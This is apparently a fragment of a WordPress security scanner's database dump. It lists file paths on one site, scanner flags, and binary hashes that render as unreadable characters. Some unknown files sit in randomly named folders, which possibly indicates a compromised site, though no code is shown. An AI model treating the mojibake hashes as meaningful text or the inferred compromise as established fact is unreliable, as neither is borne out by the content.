('%CB*rQP','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.otf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.otf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ay\nYn2!','ShVZt^~͛\n#$֒\r5V','',0,'?'),
('&S짿o$0n','wp-includes/author-template.php','/home/trevorkl/trevorklee.com/wp-includes/author-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CWb=qڇ`w','ʝ\nc_^n`jPkκ༖4s','',0,'?'),
('0~Gt{D\",r','wp-includes/SimplePie/src/Cache/DataCache.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/DataCache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&P$v>','wajJQ\"Nj㹠H,e:','',0,'?'),
('?8RmТE7h<','wp-includes/blocks/buttons/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6VOr\"\n\n','Ԡ\"S\\gZSl+?[\r62f','',0,'?'),
('G|$p֠+(','wp-admin/js/tags-box.js','/home/trevorkl/trevorklee.com/wp-admin/js/tags-box.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g4ieڠY,׃','u,tsn`b$DrFRSrґ^\"','',0,'?'),
('H^J0ë	]','wp-includes/js/tinymce/skins/lightgray/fonts/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/fonts/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Qԁ27uL','wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.svg','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','13y1','	}N	<vBS%s\\S','',0,'?'),
('RBpmZ;','wp-includes/css/dist/block-editor/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';@Tz9','9c\'F`h\Z~OǺPL8b','',0,'?'),
('UAQ,Uq','wp-includes/blocks/pullquote/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5Jkm\"~','ZQZ*-l@`NB2V','',0,'?'),
('ojyV','wp-content/plugins/wordfence/lib/menu_tools.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O<obr','4n\nj[9;;]w6-\0.','',0,'?'),
('Cas]n/','wp-includes/css/dist/block-library/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a;\'ʸ','oQ{C9o䄖iLqx	^>','',0,'?'),
('Ѻ\"P5^U\Zi','wp-admin/index.php','/home/trevorkl/trevorklee.com/wp-admin/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7jR\nX','C?cwpo4mz \nX','',0,'?'),
('mz4LK','wp-admin/images/xit.gif','/home/trevorkl/trevorklee.com/wp-admin/images/xit.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?`pR,_p','A\0|=fJS<|','',0,'?'),
('wFȶ# ','wp-content/plugins/wordfence/modules/login-security/views/manage/grace-period.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/grace-period.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`$ư,u*O^','ggC8q8-,gh','',0,'?'),
('AG,<','wp-includes/js/jquery/ui/effect-fade.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-fade.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ɋ%:wF5ژ','ND\"x\'3,3a\nVlE^`\n','',0,'?'),
(':\Z`gI >P)','wp-includes/assets/script-loader-react-refresh-entry.php','/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-react-refresh-entry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','¡K)ayV','B\"Oo	z)I@I\"cIʞ3u','',0,'?'),
('ݐjxӟvFP\n','wp-includes/Requests/src/Exception/Http/Status305.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status305.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eQ6)',',<e/r$}S','',0,'?'),
('of$΄','wp-includes/Requests/src/Exception/Http.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l8ZZ͏','ЀnWa*!c!EφŅ>','',0,'?'),
('ph0TԢ0DN ','wp-includes/class-wp-block-templates-registry.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-templates-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JIf6dr~:','/σjd!&ZU\"|*C<7','',0,'?'),
('/tj\r?#','wp-includes/blocks/site-title/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?\Zjɛ','R+je,*6a,R_~OzWk(','',0,'?'),
('jۻ2\"','wp-includes/sodium_compat/src/Core/AEGIS128L.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ScsqAd+','M-׺fN*7`2JާO?=','',0,'?'),
(' n$q^qf','wp-includes/images/smilies/icon_lol.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_lol.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@s\\e|sˎD0','Ya^F_8ت23%j','',0,'?'),
('\'^DIG1!','wp-includes/ms-site.php','/home/trevorkl/trevorklee.com/wp-includes/ms-site.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%`4{M\"W','U7ǩ>-v\0P#q9','',0,'?'),
('(Ϲز','wp-includes/blocks/video/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6F`s|),\"','|	0$X5_=8ϟ4','',0,'?'),
('*Tu\r~m','wp-admin/css/colors/ocean/colors.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ocean/colors.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܕGO=o![׀W','\n\0{98GЙhGG','',0,'?'),
('1l< t~LUw','wp-includes/class-wp-locale.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-locale.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','З+z2̺k7','SV\rʵ+lInh','',0,'?'),
('9ktG\':l','wp-includes/js/dist/script-modules/block-library/accordion/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/accordion/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Sw]dY-Cfp','\"ԛ351\ry7[~>&\Z>\r','',0,'?'),
('E-j1j\rE','wp-includes/registration-functions.php','/home/trevorkl/trevorklee.com/wp-includes/registration-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q<۾\Z7Mv','Kd_MF XX.,\'T\\66','',0,'?'),
('f rp(p$','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_555555_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_555555_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pbD@pG+','*DZ>Bg&YY4(</','',0,'?'),
('iru5','wp-content/themes/twentytwenty/assets/js/index.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/index.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&g	L','ߩAyAj@nEx<n','',0,'?'),
('u.}q?Y\"X','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/php.ini','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('<xB','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/waf.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/waf.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wo`\n&MJ)','GK4S} Q=;yg','',0,'?'),
('e-RȉL:','wp-content/plugins/wordfence/lib/rest-api/wfRESTConfigController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/rest-api/wfRESTConfigController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','߁\r4(',')]՜_\'r=hzk','',0,'?'),
('8ՠ)j,z','wp-content/themes/twentynineteen/sass/site/primary/_posts-and-pages.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/primary/_posts-and-pages.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n0/^qw^','IaL/Icd,]aJ|n\"68e','',0,'?'),
('2h6͒\r~','wp-content/plugins/wordfence/modules/login-security/classes/utility/baseconversion.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/baseconversion.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=Q\',\093','|\"`!CelUt|#oH$','',0,'?'),
('X*^ϺR8','wp-includes/css/dist/block-editor/default-editor-styles-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/default-editor-styles-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(团','AoÙ#XC.ioM~0-l','',0,'?'),
('##Ցn\ndA\\e','wp-includes/blocks/latest-comments/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-comments/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^^%Ron','^ՏIH )Ma','',0,'?'),
('p?E^@\'PE','wp-admin/edit-comments.php','/home/trevorkl/trevorklee.com/wp-admin/edit-comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}<?3_','0\"\0M\".8S.8','',0,'?'),
('>i>C.|#q','wp-content/themes/twentytwenty/classes/class-twentytwenty-walker-comment.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-walker-comment.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\S\nN','c%k鱖hX{ǅ	~4','',0,'?'),
('U\\aE','wp-includes/sodium_compat/src/Core/Curve25519/Ge/P3.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/P3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[TU2x&^','*R\"P_poEFΒ31','',0,'?'),
('6Js','wp-content/plugins/loginizer/common.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/common.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%*He}c','vw!2?_CӀ.{a-\'+E<)Zx','',0,'?'),
('ht>3&ܝ^U\n','wp-admin/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/.htaccess',0,'z~ApXf','z~ApXf',',BtAi?6XϹ_b','',0,'?'),
('B!vݡɶ','wp-content/plugins/wordfence/views/onboarding/banner.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/onboarding/banner.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','¢\ZZufyAν','-cxMT@A]dg?bttG','',0,'?'),
('+ipZӶtB','wp-content/themes/twentytwentyone/comments.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m&)fx)',']5}ԃijMP\rսϢ','',0,'?'),
('4Zs.]*','wp-includes/blocks/table/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*\'Vm','BO&\'o1IYy%D','',0,'?'),
('9V#}X<\n[R','wp-includes/blocks/template-part/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%Rǽ.ϴ','Sv\nAt&2AU!u£g\0','',0,'?'),
('<(*A]O','wp-admin/css/colors/ocean/colors-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ocean/colors-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UD\0gUbp','꟞4/D\"8D7~>+f','',0,'?'),
('>\ZyP|p}','wp-content/plugins/simpletoc/plugin.php','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/plugin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@`\\VL','ch*j!CǦqj7f','',0,'?'),
('I|K9({sX','wp-content/plugins/wordfence/lib/menu_scanner_credentials.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_scanner_credentials.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-S=nVQX7*','޼lͻ4j$Q:@','',0,'?'),
('M5K;Y?','wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php',0,'aZMfzIɿ','aZMfzIɿ',']_M!v)OQK{zi$ĕ^˝8','',0,'?'),
('bvEH΄','wp-includes/js/wp-lists.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-lists.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ר@(U','U3K0{;;i\Z$&I_n[U','',0,'?'),
('hS:`','wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N+C#+|fZ]','kn\Zy&_[Igl(g\'^G','',0,'?'),
('D!~3-7','wp-includes/blocks/avatar/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xl}EG\0~<Y>','W8\01WSac)#\n77N','',0,'?'),
('\0=*Z]6{(M','wp-includes/js/tinymce/plugins/wpemoji/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpemoji/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(']cuq|z','wp-content/themes/twentytwentytwo/inc/patterns/footer-query-images-title-citation.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-query-images-title-citation.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SVzz<','\Z	=]Y ׁܹo\"tJh:45','',0,'?'),
('|hsG]/ǆ','wp-content/themes/twentytwentyfive/assets/images/link-in-bio-background.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/link-in-bio-background.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k$2F8kRY','%m\0Ogܚ(򌳔Bw~;I1m','',0,'?'),
('&N,6P','wp-admin/images/icons32-vs-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/icons32-vs-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*04G4F	&Zi}\"','.a}hw6WEʭ(3Jӭ9E','',0,'?'),
('%OMd07','wp-includes/SimplePie/src/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('v#qȃ','wp-includes/sodium_compat/src/Core32/ChaCha20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EOxٕX2떭؃','xaJN!e\"\"Nq}AMC1){j','',0,'?'),
('Uԅl)%gN','wp-includes/class-wp-script-modules.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-script-modules.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{T!]','K)K`2cIMTkO^3','',0,'?'),
('W31Ngפ','wp-includes/js/dist/vendor/react.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/react.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';=U`0(','hX\nLbJhs+L*ݮ*):','',0,'?'),
('x[e>M','wp-admin/includes/edit-tag-messages.php','/home/trevorkl/trevorklee.com/wp-admin/includes/edit-tag-messages.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.jA8rUq','?uZv*32;h$,\rME~','',0,'?'),
('@\'vY!ѵ','wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&`O0D>m','vjz֚3/ \"Ѹ-;F','',0,'?'),
('6놉8N3ʨ','wp-content/themes/twentytwentyfive/patterns/banner-with-description-and-images-grid.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-with-description-and-images-grid.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R9\"$.ӹٿ$a','{av\'3ͻ<447o','',0,'?'),
('f=*bOs','wp-includes/style-engine/class-wp-style-engine-css-rule.php','/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine-css-rule.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DdzZU@','CzV<$$Ő6]};cH&\"b','',0,'?'),
('qhBc92','wp-admin/network/site-themes.php','/home/trevorkl/trevorklee.com/wp-admin/network/site-themes.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ɥyCEL\Zġ',' E3Y5vFkr\Z;','',0,'?'),
('w(:jZZh\0uh','wp-content/plugins/wordfence/modules/login-security/classes/utility/style.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/style.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iLHxn.+','W0qw;or_֍>k','',0,'?'),
('G$36d\Z','wp-includes/js/dist/admin-ui.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/admin-ui.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=zaOq=','\"{	kJ\'5lhtzqAf','',0,'?'),
('\\FZ7i','wp-content/themes/twentynineteen/sass/site/primary/_comments.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/primary/_comments.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LbyRQbǱ$',' ?/@;dY2)RNqu','',0,'?'),
('iA$7S2{V=','wp-content/themes/twentytwentyfour/patterns/text-title-left-image-right.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-title-left-image-right.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tUHd˄n','3ce^G\Z\\pg{wpʆ|B','',0,'?'),
('I:.X<!','wp-content/themes/twentytwenty/assets/images/2020-square-2.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-square-2.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H4(|&','`zzY`]3)]:a>?oez','',0,'?'),
('n1.ÓutlX','wp-admin/css/colors/modern/colors.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/modern/colors.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u4[yMP','gzqYelifr/1*;;K0c','',0,'?'),
('`%{+','wp-content/plugins/wordfence/images/icons/error128.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/error128.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':%7!.','{h\0,]zkV{җ6nG\nxs9','',0,'?'),
('v\\Q-','wp-includes/js/tinymce/plugins/hr/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/hr/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	%>);','؃FS[k&f 6+b>','',0,'?'),
('th	,Gx\"M','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Compat.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ŰF;W\\','w3_=뉵$=4[E','',0,'?'),
('9XU7z','wp-content/plugins/wordfence/models/page/wfPage.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/page/wfPage.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tbo i%HXwXv','ƅ1h/jw<U\\kq%s|W6','',0,'?'),
('іqSGKy(','wp-includes/kses.php','/home/trevorkl/trevorklee.com/wp-includes/kses.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Tl\\SV$k ù','F!˖a\"vJ\"O e5^Q\\','',0,'?'),
('\'ttSU<A','wp-includes/html-api/class-wp-html-stack-event.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-stack-event.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F:\0kC,W','\"X$ۼ>Fd\r@#Ca}z','',0,'?'),
('eġ32W','wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Italic.ttf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Italic.ttf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@Zɳ|3','_icB7H%K ','',0,'?'),
('9lן? rq','wp-includes/class-wp-user-query.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-user-query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z).85','Ԫ\nc.yäa\nHX:\\','',0,'?'),
('%?)','wp-content/plugins/wordfence/views/common/section-title.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/section-title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/N)ҐGcZ','*Qس>Ml}ʾ\\!m7+)','',0,'?'),
('*HGaE  ','wp-includes/html-api/1xhyzgt/xahpzbq/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('DS3.įy};','wp-admin/images/browser-rtl.png','/home/trevorkl/trevorklee.com/wp-admin/images/browser-rtl.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D\"ӠA\Z%̝','+啧0pƜJMk qwXب','',0,'?'),
('TDaب4T_9FP','wp-includes/class-wp-block-processor.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-processor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XN4','Au@,&O@zna!H5т\'-','',0,'?'),
('[Hn[P.~FU|','wp-includes/nav-menu.php','/home/trevorkl/trevorklee.com/wp-includes/nav-menu.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|\rw2b ','\r\'`o̔fG\'7I0','',0,'?'),
('_^U4m\rt','wp-includes/SimplePie/library/SimplePie/Cache/Memcached.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/Memcached.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rǛ|VP?','t[xևbإܹZ	\Z','',0,'?'),
('j\\Ħ<yp','wp-includes/widgets/class-wp-widget-custom-html.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-custom-html.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P0g80N',',%E ̫V8wRcԯ/','',0,'?'),
('t.!ht%h','wp-includes/blocks/video/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2\0k!GH','j36rj l2@u5k+D','',0,'?'),
('x~^^{\'','wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidAuthorizationCodeException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidAuthorizationCodeException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ft\\msM	','6d;Huڔ\r^dj\\','',0,'?'),
('Z\Zxcyd\'','wp-admin/js/language-chooser.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/language-chooser.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U>p4Jl5=','9\rXLdC5@UK&>̓l#','',0,'?'),
('[s::q+','wp-content/themes/twentytwentyone/archive.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/archive.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0j23jRa&r','\n}=LFz3zң#U\"','',0,'?'),
('wl]/\\\"q_}I','wp-content/plugins/header-footer-code-manager/images/99robots.png','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/images/99robots.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t1$\"`Q','6cILZ65=_','',0,'?'),
('%I3-7','wp-content/themes/twentynineteen/style-editor-customizer.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-editor-customizer.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GeeE\0-L{g9','z74|X1#{/Yio(','',0,'?'),
('R֝dqU','wp-includes/error_log','/home/trevorkl/trevorklee.com/wp-includes/error_log',0,'7y!O뀧P$','7y!O뀧P$','a\n]eXaFqZڑ!ט5m','',0,'?'),
('2sk','wp-includes/blocks/categories/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PŚE#Iۆཀ','=O-;N8UP3<(oن','',0,'?'),
('I0,$.','wp-admin/wp-blog-header.php','/home/trevorkl/trevorklee.com/wp-admin/wp-blog-header.php',0,'/&&7','/&&7','4g FGF3t=[\n!J/}U_','',0,'?'),
('LC3v-n{','wp-content/plugins/wordfence/modules/login-security/classes/utility/lock.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/lock.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cTG8`;','2S`J!N,}.ɧs0? #x','',0,'?'),
(':x=}','wp-includes/js/jquery/ui/mouse.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/mouse.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j\r{>\nA}8{','pZAUUב2s;Y;','',0,'?'),
('Ha+̰I','wp-content/plugins/wordfence/waf/bootstrap.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/bootstrap.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԙnA	9	p7','yқVKHm6J>Q6q@Զ]d','',0,'?'),
(';;/JKmR0','wp-content/plugins/akismet/views/start.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/start.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':?Ԛ<\rײ\'b','{3\'@K۵;','',0,'?'),
('OIY\\{=H','wp-includes/robots-template.php','/home/trevorkl/trevorklee.com/wp-includes/robots-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӎ|Ylm+6V','X6hq@!`+\rx!	Еī>','',0,'?'),
('Tn3<[ 5','wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hE5\'h]N)','vhӹل^X(č','',0,'?'),
('y&aA7]Dm','wp-content/plugins/wordfence/images/icons/ajaxRed16.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajaxRed16.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%B\ng2;','D,AJlOSpe؇&','',0,'?'),
('ƞׅ\ZXX]YF','wp-includes/js/codemirror/htmlhint.js','/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/htmlhint.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2|џGMtP5','\0U[\0M\'mCռ55k`5ё','',0,'?'),
